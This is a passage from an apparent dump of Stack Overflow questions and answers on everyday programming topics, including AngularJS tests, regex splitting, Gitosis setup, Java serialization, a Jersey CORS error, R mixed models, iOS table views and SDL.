$templateCache.put('public/template/404.html', ''); })); describe('default rerouting', function(){ it('should go to error upon bad url', function(){ var badUrl = '/badUrlToTest'; goTo(badUrl); expect($state.current.name).toEqual('404'); expect($location.url()).toBe(badUrl); }); }); function goTo(url){ $location.url(url); $rootScope.$digest(); } }) </code></pre> <p>Using $state works just fine, and in the <code>goTo()</code> function $location seems to work, so why does using <code>$location.url()</code> (or <code>$location.path</code>) throw an error asking about $httpBackend when I'm not using an <code>$http.get()</code> request?</p>
40842726	1	how to read html page using python? <p>I am new in learning python I have this html page with these info:</p> <p><a href="https://i.stack.imgur.com/yUI9L.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/yUI9L.jpg" alt="enter image description here"></a></p> <p>I want to read the html page and print the info in this way:</p> <pre><code>['2011/2016', 'aaaa', 'x-t ', 'htu ', '***' , '55'] </code></pre>
407207	0	 <p>What database are you running?<br /> Does this occur with any other entries in the database or just this one?</p>
27990634	0	 <p>Thanks for the answers.</p> <p>I solved it altogether differently: upon a selection change event I enable a short timer which, when ticked, checks whether or not there's a selected item in the ListView, and if not, it selects the first one. And it disables itself in any case. Seems that it works for me, so I am stopping there.</p>
30838405	0	 <p>It is quite simple. Just go through and let me know in case you need some clarity. public class ThreeDto2D {</p> <pre><code>public static void main(String[] args) { double[][] data= {{97, 36, 79}, {94, 74, 60}, {68, 76, 58}, {64, 87, 56}, {68, 27, 73}, {74, 99, 42}, {7, 93, 87}, {51, 69, 40}, {38, 23, 33}, {57, 86, 31}}; double data1[] = new double[data.length]; double data2[] = new double[data.length]; double data3[] = new double[data.length]; for (int x= 0;x &lt; data.length;x++) { for (int y=0; y &lt; data[x].length ;y++) { if (y==0) data1 [x] = data [x][y]; else if (y==1) data2 [x] = data [x] [y]; else if (y==2) data3 [x] = data [x] [y]; } } for (int i=0;i&lt;data1.length;i++) { System.out.print(data1[i]+" "); System.out.print(data2[i]+" "); System.out.print(data3[i]+" "); System.out.println(); } } </code></pre> <p>}</p> <p>Output : 97.0 36.0 79.0 94.0 74.0 60.0 68.0 76.0 58.0 64.0 87.0 56.0 68.0 27.0 73.0 74.0 99.0 42.0 7.0 93.0 87.0 51.0 69.0 40.0 38.0 23.0 33.0 57.0 86.0 31.0</p>
5508484	0	splitting on whitespace help <pre><code>// alerts -&gt; a,b,c,d // which is correct window.alert("a b c d".split(/[\u000A-\u000D\u2028\u2029\u0009\u0020\u00A0\uFEFF]+/g)); </code></pre> <p>However, this isn't:</p> <pre><code>// alerts -&gt; ,a,b,c,d, // which is not what we need // as you can see, there is an extra space // in the front and end of the array // it is supposed to alert -&gt; a,b,c,d // just like our first example window.alert(" a b c d ".split(/[\u000A-\u000D\u2028\u2029\u0009\u0020\u00A0\uFEFF]+/g)); </code></pre> <p>Any ideas guys?</p>
7861459	0	 <p>Responding to dvcolgan's clarifying comment:</p> <p>So, you want to have an HTML file on the server with inline CoffeeScript that gets served as HTML with inline JavaScript. The CoffeeScript compiler doesn't support this directly, but you could write a Node script to do it fairly easily, using the <code>coffee-script</code> library and <a href="https://github.com/tmpvar/jsdom">jsdom</a> to do the HTML parsing.</p> <p>Exactly how you want to implement this would depend on the web framework you're using. You probably don't want the CoffeeScript compiler to run on every request (it's pretty fast, but it's still going to reduce the number of requests/second your server can handle); instead, you'd want to compile your HTML once and then serve the compiled version from a cache. Again, I don't know of any existing tools that do this, but it shouldn't be too hard to write your own.</p>
14301867	0	 <p>From the <a href="http://doc.qt.digia.com/qt/qsortfilterproxymodel.html#filterRegExp-prop"><code>filterRegExp</code></a> property docs:</p> <blockquote> <p>If no <code>QRegExp</code> or an empty string is set, everything in the source model will be accepted.</p> </blockquote> <p>So the "proper" way of clearing the filter is to pass an empty string rather than a match-all regex.</p>
3152361	0	 <p>Example of a possible solution:</p> <pre><code>$('#modalContent').modal({ onShow: function (dialog) { var sm = this; // bind click event to get ajax content $('.link', dialog.container[0]).click(function (e) { e.preventDefault(); $.ajax({ ..., // your settings here success: function (data) { dialog.data.html(data); // put the data in the modal dialog.container.css({height:'auto', width:'auto'}); // reset the dimensions sm.setContainerDimensions(); // resize and center modal // if you want to focus on the content: sm.focus(); // if you want to rebind the events sm.unbindEvents(); sm.bindEvents(); } }); }); } }); </code></pre> <p>I'm going to look into putting a resize function in SimpleModal, which would take care of most of these steps. Until then, this should work for you.</p> <p>-Eric</p>
23249486	0	 <p>Check for <a href="https://github.com/genemu/GenemuFormBundle" rel="nofollow">Genemu bundle</a> which add differents form type such as file upload and image upload</p> <p><a href="http://tympanus.net/crop1.1/" rel="nofollow">demo here</a></p> <p>I took inspiration to create my own</p>
1176215	0	 <p>Did you check <code>/var/log/messages</code> on your server?<br> May be the username 'git' does not work properly: From the <a href="http://scie.nti.st/2007/11/14/hosting-git-repositories-the-easy-and-secure-way" rel="nofollow noreferrer">comments of Gitosis</a>,</p> <p>if you look at the authorized_key file you will see that it did not import the name of the system that key was generated on but the name of the server box.</p> <p>Example: using a username of “git” resulted in this in the authorized key</p> <pre><code>root@git-repo:/home/git/.ssh# cat authorized_keys command=”gitosis-serve root@git-repo” </code></pre> <p>After changing to user name “gitosis” it looks like this </p> <pre><code>root@git-repo:/home/gitosis/.ssh# cat authorized_keys command=”gitosis-serve myuser@mylocalbox”, </code></pre> <p>To fix I created a user gitosis with home dir of /home/gitosis and ran the git-init script again.</p> <pre><code>sudo -H -u gitosis gitosis-init &lt; /tmp/id_rsa.pub sudo chmod 755 /home/gitosis/repositories/gitosis-admin.git/hooks/post-update </code></pre> <p>then, on local box.. </p> <pre><code>git clone gitosis@YOUR_SERVER_HOSTNAME:gitosis-admin.git </code></pre>
1034746	0	 <p>In the case where you are ignoring the first character, you only want to compare <code>word.length() - 1</code> characters -- and the same length for both the string and the word.</p> <p>Note that you really don't need to test the case where the first letter exactly matches as that is a subset of the case where you are ignoring the first letter.</p>
4614897	0	 <pre><code>SELECT * FROM table WHERE COLUMN IS NULL </code></pre>
8321201	0	 <p>You're best off creating a new timer. If the class doesn't provide an interface for changing that attribute, then you should consider it private and read-only.</p> <p>It's not even possible in this case to do the usual end run around that, using KVC:</p> <pre><code>[timer setValue:newNumber forKey:@"userInfo"]; </code></pre> <p>since <code>NSTimer</code> is not KVC-compliant for that key.</p>
14071154	0	 <p>Use <code>java.nio.ByteBuffer</code></p> <p>Something like:</p> <pre><code>private static ByteBuffer buffer = ByteBuffer.allocate(8); public static byte[] encodeDouble(double x) { buffer.clear(); buffer.putDouble(0, x); return buffer.array(); } public static double decodeDouble(byte[] bytes) { buffer.clear(); buffer.put(bytes); buffer.flip(); return buffer.getDouble(); } </code></pre>
9420810	0	 <p>To run Python scripts on your Android phone all you have to do is install SL4A and this is how you do that:</p> <p>To install SL4A, you will need to enable the "Unknown sources" option in your device's "Application" settings, download the .apk and install it either by accessing <a href="http://code.google.com/p/android-scripting/" rel="nofollow">http://code.google.com/p/android-scripting/</a> from your computer and click the qr-code or directly from your phone and click the qr-code and then run the downloaded .apk file.</p> <p>After installing SL4A:</p> <ul> <li>press the Home button</li> <li>press Add button</li> <li>go to Interpreters</li> <li>press Home button again</li> <li>press Add again</li> <li>pick Python Interpreter and install it</li> </ul> <p>and after that a new screen will appear with an Install button on the top, press it and it will download Python 2.6.2, at the moment, for you. Optionally there is a button so that you can download a few more Python modules.</p> <p>After these steps you are ready to go. You will be able to create Python scripts using SL4A and run the directly on your phone without "compiling" them, if that's your worry. It also makes the .pyc files if those are the ones you're talking about.</p>
12229258	0	 <p><strong>This answer is based upon what you mentioned in the question when no code snippet was provided and quetion was...</strong></p> <blockquote> <p>I have created a component instance, drawn it onto the screen, and added it to an ArrayList. I'm accessing it by referencing to the drawn one using it's children (getParent() method). However, when I then pass this reference to ArrayLists indexOf(); method, it returns -1. I suppose that means that the component does not exist in the ArrayList. Is this what should happen, or did I probably mess something up in my program? I'm NOT providing you with a SSCCE, I'm not asking you to do any coding, just to tell me if this is normal Java behavior...</p> </blockquote> <p><strong>Here goes the my response</strong></p> <p>The javadoc of <code>indexOf()</code> says... </p> <blockquote> <p>Returns the index of the first occurrence of the specified element in this list, or -1 if this list does not contain the element. More formally, returns the lowest index i such that (o==null ? get(i)==null : o.equals(get(i))), or -1 if there is no such index.</p> </blockquote> <p>As you can see this depends on the <code>equals()</code> implementation for you component. Check your implementation as that holds the key of retrieving the value from list.</p>
36889959	0	JAVA JSON Restfull WebService No 'Access-Control-Allow-Origin' header is present on the requested resource <p>I have a JAVA RESTful webservice which will return JSON string and it was written in Java. My problem is when I send request to that webservice with below URL</p> <pre><code>http://localhost:8080/WebServiceXYZ/Users/insert </code></pre> <p>it's giving me the below error message</p> <pre><code>XMLHttpRequest cannot load http://localhost:8080/WebServiceXYZ/Users/insert/. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost:8100' is therefore not allowed access. The response had HTTP status code 500. </code></pre> <p>Here is my Code</p> <pre><code>package com.lb.jersey; import javax.ws.rs.POST; import javax.ws.rs.Path; import javax.ws.rs.Produces; import javax.ws.rs.core.MediaType; import org.json.JSONException; import org.json.JSONObject; @Path("/Users") public class RegistrationService { @POST @Produces(MediaType.APPLICATION_JSON) @Path("/insert") public String InsertCredentials (String json) throws JSONException { java.util.Date dt = new java.util.Date(); java.text.SimpleDateFormat sdf = new java.text.SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String currentTime = sdf.format(dt); String phone = null; JSONObject returnJson = new JSONObject(); try { JSONObject obj = new JSONObject(json); JSONObject result1 = obj.getJSONObject("Credentials"); phone = result1.getString("phone"); DBConnection conn = new DBConnection(); int checkUserID = conn.GetUserIDByPhone(phone); if(checkUserID &lt;= 0) { DBConnection.InsertorUpdateUsers(phone, currentTime); } int userID = conn.GetUserIDByPhone(phone); int otp = (int) Math.round(Math.random()*1000); DBConnection.InsertorUpdateCredentials(userID, otp, currentTime); JSONObject createObj = new JSONObject(); createObj.put("phone", phone); createObj.put("otp", otp); createObj.put("reqDateTime", currentTime); returnJson.put("Credentials", createObj); System.out.println(returnJson); } catch (Exception e) { } return returnJson.toString(); } } </code></pre> <p>My web.xml code</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:web="http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5"&gt; &lt;display-name&gt;WebServiceXYZ&lt;/display-name&gt; &lt;servlet&gt; &lt;servlet-name&gt;Jersey REST Service&lt;/servlet-name&gt; &lt;servlet-class&gt;com.sun.jersey.server.impl.container.servlet.ServletAdaptor&lt;/servlet-class&gt; &lt;init-param&gt; &lt;param-name&gt;com.sun.jersey.config.property.packages&lt;/param-name&gt; &lt;param-value&gt;com.lb.jersey&lt;/param-value&gt; &lt;/init-param&gt; &lt;load-on-startup&gt;1&lt;/load-on-startup&gt; &lt;/servlet&gt; &lt;servlet-mapping&gt; &lt;servlet-name&gt;Jersey REST Service&lt;/servlet-name&gt; &lt;url-pattern&gt;/*&lt;/url-pattern&gt; &lt;/servlet-mapping&gt; &lt;/web-app&gt; </code></pre> <p>I already read many articles but no progress, so please let me know, How can I handle this issue?</p>
18219695	0	 <p>Maybe you forgot to match the scopes of <code>PlusClient</code> and <code>getToken</code>:</p> <pre><code>new PlusClient .Builder(this, this, this) .setScopes(Scopes.PLUS_LOGIN, "https://www.googleapis.com/auth/userinfo.email") .build(); </code></pre>
28892840	0	 <p>You can do it like this:</p> <pre><code>function setCaret() { var element = document.getElementById("input"); var range = document.createRange(); var node; node = document.getElementById("first"); range.setStart(node.childNodes[0], 1); &lt;-- sets the location var sel = window.getSelection(); range.collapse(true); sel.removeAllRanges(); sel.addRange(range); element.focus(); } </code></pre> <p>node.childNodes[] pertains to which line you want to set the cursor on and the next number is the location on that line. In this example is moves to space 1 line 0 (line 1 really). So if you change those values to variables and put them as parameters in your function you could specify where.</p>
9128671	0	 <p>First of all <code>equals()</code> should determine whether two objects are <em>logically equal</em>. If these objects are logically equal when their <code>str1</code> fields are equal then you may go with equals and use methods defined for the collections. In this case <code>equals()</code> contract (defined in the java.lang.Object) is worth reading.</p> <p>If I were working with your code I would prefer if you solve your problem with iteration instead of defining incorrect <code>equals()</code> method (Warning: not tested code):</p> <pre><code>Set&lt;String&gt; strings = new HashSet&lt;String&gt;(listOne.size()); for(Test t : listOne){ strings.add(t.getStr1()); } Iterator&lt;Test&gt; it = listTwo.iterator(); while(it.hasNext()){ Test t = it.next(); if(strings.contains(t.getStr1()) it.remove(); } </code></pre>
31502377	0	 <p>Just remove the <code>return jsonify(ret_data)</code> line form your <code>send_recommend()</code> route. </p> <pre><code>@app.route('/send_recommend', methods=['GET', 'POST']) def send_recommend(): if request.method == 'GET': ret_data = {"data": request.args.get('data')} #do something here </code></pre> <p>Because you are returning the JSON data back to your template.</p>
12240084	0	 <p>AFAIK, there is no direct answer because multiple wavelengths can combine to give the same color right? So you have the wavelengths that map to pure colors and then their combinations can give many other and the same colors. And there are several combinations that can give the same color. This is because of inteference. So you essentially are asking for a one to many mapping. </p> <p>To answer your question: There is no fixed formula. The reverse formulas will give you a range. That is the best it can get. </p>
28355924	0	 <p>Add $GOPATH/bin to your PATH variable in your shell, </p> <p>for bash:</p> <pre><code>export PATH=$GOPATH/bin:$PATH </code></pre>
315940	0	 <p>Documentation is a tricky term since it involves different artifacts and different tasks, what do you mean by documentation?</p> <p>User manuals? Screensteps can be used for that. Most companies hire special technical writers to do user-friendly documentation.</p> <p>Function headers and API documentation? That's a different story. The "official" guideline (at least for Java) is to capture everything - complete specifications. The agile approach is to document only what's important. I published a study that shows that detailed header documentations tend to actually distract users. There is a relatively small list of important "directives" and "caveats" that need to be conveyed. PM me or send me a comment if you want more details on that and I'll detail more. I'm avoiding it now since I'm not sure what you meant. </p> <p>I also had a tool that lets you record a narrative of what you do as you work, and it ties it to a log of your edits and actions, that establishes some traceability though it's of course not documentation.</p>
36795853	0	Equivalent R script for repeated measures SAS script, nested design <p>I'm having trouble converting an SAS script to the corresponding R script.</p> <p>The model is a repeated measures analysis of the response (<code>resp</code>) based on treatment (<code>trt</code>) with plot (<code>plot</code>) nested in the treatment.</p> <p>SAS code:</p> <pre><code>data data_set; input trt $ plot time resp; datalines; Burn 1 1 27 Burn 1 9 25 Burn 1 12 18 Burn 1 15 21 Burn 2 1 5 Burn 2 9 15 Burn 2 12 10 Burn 2 15 12 ... Unburn 1 1 57 Unburn 1 9 46 Unburn 1 12 49 Unburn 1 15 51 Unburn 2 1 43 Unburn 2 9 59 Unburn 2 12 59 Unburn 2 15 60 proc mixed data = data_set; class trt plot time; model resp = trt time trt*time / ddfm = kr; repeated time / subject = trt(plot) type = vc rcorr; run; </code></pre> <p>R code attempted (loading the data set from a CSV file):</p> <pre><code>library(nlme) data.set &lt;- read.csv( "data_set.csv" ) data.set$plot &lt;- factor( data.set$plot ) data.set$time &lt;- factor( data.set$time ) model1 &lt;- lme( resp ~ trt + time + trt:time, data = data.set, random = ~1 | plot ) </code></pre> <p>This works, but isn't the desired model. Other attempts I've tried have generally resulted in the error:</p> <pre><code>Error in getGroups.data.frame(dataMix, groups) : invalid formula for groups </code></pre> <p>Basically I'm off in the weeds here...</p> <p>Question 1: how to specify the same model in R as what is already specified in SAS?</p> <p>Question 2: I want to be able to change the covariance matrix to replicate other work done in SAS. I believe I know how to do this with the correlation parameter for the lme function. But please correct me if I'm wrong.</p> <p>Thanks in advance.</p>
20106290	0	How i can pass value from Controller to View in a Checkbox in MVC <p>Good afternoon I have the following problem, I need to pass the values ​​that brings a CONTROLLER ViewBag a Checkbox in a view.</p> <pre><code>&lt;table&gt; &lt;tr&gt; &lt;td&gt; &lt;label&gt;Select:&lt;/label&gt; &lt;/td&gt; &lt;td&gt; &lt;select id="type" name="type" multiple="multiple"&gt; &lt;option id="Custom1" value="Custom1"&gt;Custom1&lt;/option&gt; &lt;option id="Custom2" value="Custom2"&gt;Custom2&lt;/option&gt; &lt;/select&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre> <p>Normally in a (Input type="text") i put: </p> <pre><code>&lt;input type="text" name="email" id="email" value="@(ViewBag.Example.EMail)" /&gt; </code></pre> <p>but in this case i dont know where put the value, could you help me please? Thanks</p>
37264603	0	 <p>First, you'll need a query that is supplying the values for your parameter. The query might look something like this:</p> <pre><code>select 'a' as ParamValue union all select 'b' as ParamValue union all select 'c' as ParamValue union all select 'd' as ParamValue </code></pre> <p>Set you parameter values to be populated by this query: <a href="https://i.stack.imgur.com/dlRJy.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/dlRJy.png" alt="enter image description here"></a></p> <p>Now Add a table that can list your parameter values.</p> <p><a href="https://i.stack.imgur.com/CjPdU.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/CjPdU.png" alt="enter image description here"></a></p> <p>Next, you can check if each value exists in your main dataset using a <a href="https://msdn.microsoft.com/en-us/library/ee210531.aspx" rel="nofollow noreferrer">Lookup</a> function like this:</p> <pre><code>=IIf(IsNothing(Lookup(Fields!PARAMVALUE.Value,Fields!COLVALUE.Value,Fields!COLVALUE.Value, "MainDataSet")), True, False) </code></pre> <p>You can use this as a filter to just show the parameter values where this function doesn't return a value:</p> <p><a href="https://i.stack.imgur.com/Mtbuq.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Mtbuq.png" alt="enter image description here"></a></p>
35375466	0	Binding data to ListView to display distance to nearby place using Google Places API with UWP <p>Currently, I have a project to display nearby places with UWP using Google Places API. I'm using ListView to display the numbers of nearby places and did successfully to display some basic information provided by API into my ListView. I have DataTemplate like this</p> <pre><code>&lt;DataTemplate x:Key="ResultPlaces"&gt; &lt;StackPanel Orientation="Vertical"&gt; ... &lt;Grid Grid.Column="2"&gt; &lt;TextBlock Text="{Binding placeDistance}" Foreground="#42424c" TextWrapping="Wrap" FontSize="12" Margin="10,0,0,0"/&gt; &lt;/Grid&gt; &lt;/Grid&gt; &lt;/StackPanel&gt; </code></pre> <p>And i also have the ListView like this</p> <pre><code>&lt;ListView Name="listPlace" ItemTemplate="{StaticResource ResultPlaces}"&gt; &lt;/ListView&gt; </code></pre> <p>I've parsing the JSON in result of API in code behind and make it to be my ListView.ItemsSource. The problem is the API don't provide distance object. So, I created a method to calculte distance between 2 places and use it to calculate every single result in API results. I'm also created get set property called placeDistance in class Result that provided API items result.</p> <p>This my get set property </p> <pre><code> public class Result { .... public Review[] reviews { get; set; } public int user_ratings_total { get; set; } public string placeDistance { get; set; } } </code></pre> <p>And this my code to calculate every single distance on Result</p> <pre><code>int lengthResult = placesList.results.Count(); for (int i = 0; i &lt; lengthResult; i++) { double myLat = placesList.results[i].geometry.location.lat; double myLong = placesList.results[i].geometry.location.lng; double myCurrentLat = Convert.ToDouble(parameters.lat); double myCurrentLong = Convert.ToDouble(parameters.longit); var newDistance = new Result(); newDistance.placeDistance = DistanceBetweenPlaces(myCurrentLong, myCurrentLat, myLong, myLat); } </code></pre> <p>When I deployed it into my phone, the other items in DataTemplate display correctly. But I couldn't get any distance text. Did I do something wrong ?</p>
19341542	0	 <p>I've been struggling with this as well. The work-around I've found is to just add an extra space between the command and first argument! So where I was trying to do:</p> <pre><code>FORFILES /s /m *.dll /c "python \"c:\path\to\script.py\" -t arg1 etc" </code></pre> <p>python was trying to find file "arg1" to execute, but if I just change it to:</p> <pre><code>FORFILES /s /m *.dll /c "python \"c:\path\to\script.py\" -t arg1 etc" </code></pre> <p>this actually works!</p>
31047397	0	after adding uitableview to uiview didselectrowatindexpath not called ios <p>I have created a custom tableview <strong>displayCustomUnitTableView</strong> and a custom UIView <strong>displayView</strong> and adding <strong>displayCustomUnitTableView</strong> to <strong>displayView</strong>. But i am not able to select any row in the tableView i.e., <strong>didSelectRowAtIndexPath</strong> is not called.</p> <p>I am using the following code:</p> <pre><code>displayCustomUnitTableView = [[UITableView alloc]initWithFrame:CGRectMake(52.0, 110.0, 180.0, 110.0) style:UITableViewStylePlain]; displayCustomUnitTableView.delegate = self; displayCustomUnitTableView.dataSource = self; displayCustomUnitTableView.tag = 2; displayCustomUnitTableView.separatorStyle = UITableViewCellSeparatorStyleSingleLine; displayCustomUnitTableView.separatorColor = [UIColor blackColor]; displayCustomUnitTableView.rowHeight = 30.f; [displayCustomUnitTableView setBackgroundColor:[ContentViewController colorFromHexString:@"#BCC9D1"]]; [displayCustomUnitTableView setBackgroundColor:[UIColor groupTableViewBackgroundColor]]; [displayCustomUnitTableView setAllowsSelection:YES]; [displayView addSubview:displayCustomUnitTableView]; </code></pre> <p>cellForRowAtIndexPath:</p> <pre><code>-(UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { static NSString *CellIdentifier = @"MyCell"; UITableViewCell *cell= [tableView cellForRowAtIndexPath:indexPath]; if (cell == nil) { cell = [[UITableViewCell alloc] initWithStyle:UITableViewCellStyleDefault reuseIdentifier:CellIdentifier]; } if(tableView.tag == 1) { cell.textLabel.text = [storeUnitList objectAtIndex:indexPath.row]; } else if(tableView.tag == 2) { cell.textLabel.text = [storeCustomUnitList objectAtIndex:indexPath.row]; } return cell; } </code></pre> <p>didSelectRowAtIndexPath:</p> <pre><code>- (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath { if(tableView.tag == 1) { unitString = [storeUnitList objectAtIndex:indexPath.row]; } else if(tableView.tag == 2) { unitString = [storeCustomUnitList objectAtIndex:indexPath.row]; } } </code></pre> <p>Thanks in advance.</p>
9865547	0	Random crashes occur in my iphone project, see two call stacks, all in web core, all crash after UIWebView deallocate <p>Random crashes occur in my iphone project, see two call stacks, all in web core, all crash after UIWebView deallocate. </p> <p>See crash 1, seems web core can't close it completely, is it blocked by other running threads? </p> <p>See crash 2, why it is still dealing with some issues even if UIWebView has been released? </p> <p>Any idea or discussion will be appreciated, thanks in advance. </p> <p>Crash 2 has higher reproducible rate than crash 1, scan WebCore source code, it seems be manifest cache has been deleted (who did it?) when try to access it. </p> <p><img src="https://i.stack.imgur.com/iyHo9.png" alt="web core crash 1"></p> <p><img src="https://i.stack.imgur.com/SYicM.png" alt="web core crash 2"></p>
4483295	0	CSS: how come html, body height: 100% is more then 100%? <p>hey, i was trying to do a bottom sticky footer <a href="http://www.lwis.net/journal/2008/02/08/pure-css-sticky-footer/" rel="nofollow" title="using this">link test</a> and but it kept being more then 100% meaning it scrolled a litle bit..</p> <p>so i made a simple HTML code, without any additions but its still more than 100%, see here:</p> <pre><code>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt; &lt;html xmlns="http://www.w3.org/1999/xhtml" xml:lang="he" lang="he" dir="rtl" id="bangler"&gt; &lt;head&gt; &lt;title&gt;my title&lt;/title&gt; &lt;style type="text/css"&gt; html, body, #wrapper { height: 100%; } body &gt; #wrapper { height: auto; min-height: 100%; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="wrapper"&gt;aa&lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>the thing is, it scrolls just a little bit more then 100% meaning about 5-10px more.. this is really strange, on both IE and Firefox !!</p> <p>Thanks in advance !</p>
20857311	0	 <p>In your code import.</p> <p><code>Import android.support.v4.app.Fragment</code></p> <p>Maybe your code work fine.</p>
22082095	0	Rails 3: how to code a route path <p>I'm creating a rails app and I can't figure out or find answer for this problem.</p> <p>What is the route for:</p> <p><code>@example = Example.find_by_notId(params[:notId])</code></p> <p>I want my route to look better then /example/1 and would rather have it read /notId (where notId would be title or some other non-ID int). Normally I would use show_path but in my html <code>&lt;%= link_to image_tag(pic), show_path(example) %&gt;</code> doesn't work. Here is my code and it works when I hard code it into the URL (localhost:3000/notId) but I need a way to route it through a link. Any ideas?</p> <p>Show </p> <pre><code>def show @example = Example.find_by_title(params[:title]) end </code></pre> <p>Routes</p> <pre><code>match '/:notId', to: 'example#show', via: 'get' </code></pre> <p>_example.html.erb</p> <pre><code>&lt;div class="example"&gt; &lt;% Movie.all.each do |example| %&gt; &lt;%pic = example.title + ".jpg"%&gt; &lt;%= link_to image_tag(pic), show_path(example) %&gt; &lt;% end %&gt; e&lt;/div&gt; </code></pre>
35475198	0	how to interchage image banners randomly when page refresh? <p>here are my banners:</p> <p><a href="https://i.stack.imgur.com/Eb1SI.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Eb1SI.png" alt="enter image description here"></a></p> <p>pls help me with this. i want that when the page loads, every banners exchange places in any order. </p> <p>i am using apache velocity for this but i just want to know the logic on how to code it. thanks</p>
6303906	0	 <p>The answer is 1/4. Here is the explanation.</p> <p>Let x is the length of the leftmost stick and y is the length of the rightmost stick. Then the middle stick has length n-x-y, if the original stick's length was n.</p> <p>The possible values for x,y are those for which:</p> <ol> <li>x > 0</li> <li>y > 0</li> <li>x + y &lt; n</li> </ol> <p>In the plane Oxy this is equivalent to say that the point (x,y) lies within the triangle with vertices (0, 0), (n, 0), (0, n).</p> <p>Now these three numbers (x, y, n-x-y) form a triangle if all of the three are satisfied:</p> <ol> <li>x + y > n - x - y &lt;=> x + y &lt; n/2</li> <li>x + (n - x - y) > y &lt;=> y &lt; n/2</li> <li>y + (n - x - y) > x &lt;=> x &lt; n/2</li> </ol> <p>Again in the Oxy plane these are satisfied when the point (x,y) lies within the triangle with vertices (0, n/2), (n/2, n/2), (n/2, 0).</p> <p>The area of this triangle is a quarter of the area of the (0, 0), (n, 0), (0, n) triangle, since it's the 'middle' triangle (whose vertices are the midpoints) of the bigger one.</p> <p>Here is a simple C# program to verify the answer:</p> <pre><code>Random r = new Random(); int count = 0, total = 0, tries = 1000000; double x, y; for (int i = 0; i &lt; tries; i++) { x = r.NextDouble(); y = r.NextDouble(); if (x + y &gt; 0.5 &amp;&amp; x &lt; 0.5 &amp;&amp; y &lt; 0.5) ++count; if (x + y &lt; 1.0) ++total; } Console.WriteLine((double)count / total); </code></pre>
19437307	0	 <p>Well, I fix the problem in this way...</p> <p>instep of using </p> <pre><code>?&gt;&lt;body style="background-color:#0000CC;color:white;"&gt;&lt;?php </code></pre> <p>I changed to...</p> <pre><code>?&gt;&lt;body style="background:#0000CC;color:white;"&gt;&lt;?php </code></pre> <p>and it made it happen.. overrides the css stylesheet... Thanks guys..</p>
13151175	0	Passing an SDL surface to a function <p>I'm a bit confused how i pass my SDL_Surface to my function so that i can setup my screen in SDL.</p> <p>This is my error:</p> <pre><code> No operator "=" matches these operands </code></pre> <p>My function is this:</p> <pre><code>void SDL_Start(SDL_Surface screen){ Uint32 videoflags = SDL_SWSURFACE | SDL_DOUBLEBUF | SDL_ANYFORMAT;// | SDL_FULLSCREEN; // Initialize the SDL library if ( SDL_Init(SDL_INIT_VIDEO) &lt; 0 ) { fprintf(stderr, "Couldn't initialize SDL: %s\n", SDL_GetError()); exit(500); } //get player's screen info const SDL_VideoInfo* myScreen = SDL_GetVideoInfo(); //SDL screen int reso_x = myScreen-&gt;current_w; int reso_y = myScreen-&gt;current_h; Uint8 video_bpp = 32; //setup Screen [Error on the line below] screen = SDL_SetVideoMode(reso_x, reso_y, video_bpp, videoflags|SDL_FULLSCREEN); } </code></pre> <p>This function is called in my main function like so :</p> <pre><code>SDL_Surface *screen; SDL_Start(*screen); </code></pre> <p>Any ideas what the mistake is ?</p>
12213317	0	 <p>Some code would be useful. In the absence of that here's a best guess generic answer: In general terms you will need to work out how to map (convert) each format to the other. Then you can convert to the format suitable for the database before you save and convert from database format to google maps format when you retrieve. I imagine each polygon is a set of latitude/longitude pairs in both formats so it shouldn't be too difficult.</p> <p>Alternatively, since you're using JSON, you could just save the JSON to a text field in the database (or to a JSON field in the upcoming 9.2 release of PostgreSQL): </p> <p><a href="http://www.postgresql.org/docs/9.2/static/datatype-json.html" rel="nofollow">http://www.postgresql.org/docs/9.2/static/datatype-json.html</a></p> <p>However if you would like to perform geographical queries in the database that would obviously limit your options.</p>
13117989	0	how to show selected item(s) details (Title & Cost) into another activity , like:- Shopping Cart Functinality (Add to Cart & View Cart) <p>i am making an app, in which i am fetching data into listview using json parser, then showing selected listview item row into another activity with item details (Note:- Details i am fetching from ListView Activity to singleItem Activity) now i need to show Item Title and Cost for all the selected items into another activity i.e.- ViewCart (from singleItem Activity to ViewCart Activity)by using Add to Cart button on singleItem activity to send all selected records into ViewCart activity like:- Shopping Cart functionality Add to Cart then view selected records in a whole into another activity ViewCart, and i just want to show selected item's Title and Cost to another activity, still i am showing only the one selected item not all the selected item(s) by user in a session, and i am also not saving that record for complete session, but now i want to show all selected items by user into viewcart activity based on complete session. below i am placing singleItem and ViewCart Code:-</p> <p>SingleItem Code:-</p> <pre><code> public class SingleMenuItem extends Activity{ static final String KEY_TITLE = "title"; static final String KEY_COST = "cost"; static final String KEY_THUMB_URL = "imageUri"; private EditText edit_qty_code; private TextView txt_total; private TextView text_cost_code; private double itemamount = 0; private double itemquantity = 0; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.single); Intent in = getIntent(); String title = in.getStringExtra(KEY_TITLE); String thumb_url = in.getStringExtra(KEY_THUMB_URL); String cost = in.getStringExtra(KEY_COST); ImageLoader imageLoader = new ImageLoader(getApplicationContext()); ImageView imgv = (ImageView) findViewById(R.id.single_thumb); TextView txttitle = (TextView) findViewById(R.id.single_title); TextView txtcost = (TextView) findViewById(R.id.single_cost); TextView txtheader = (TextView) findViewById(R.id.actionbar); txttitle.setText(title); 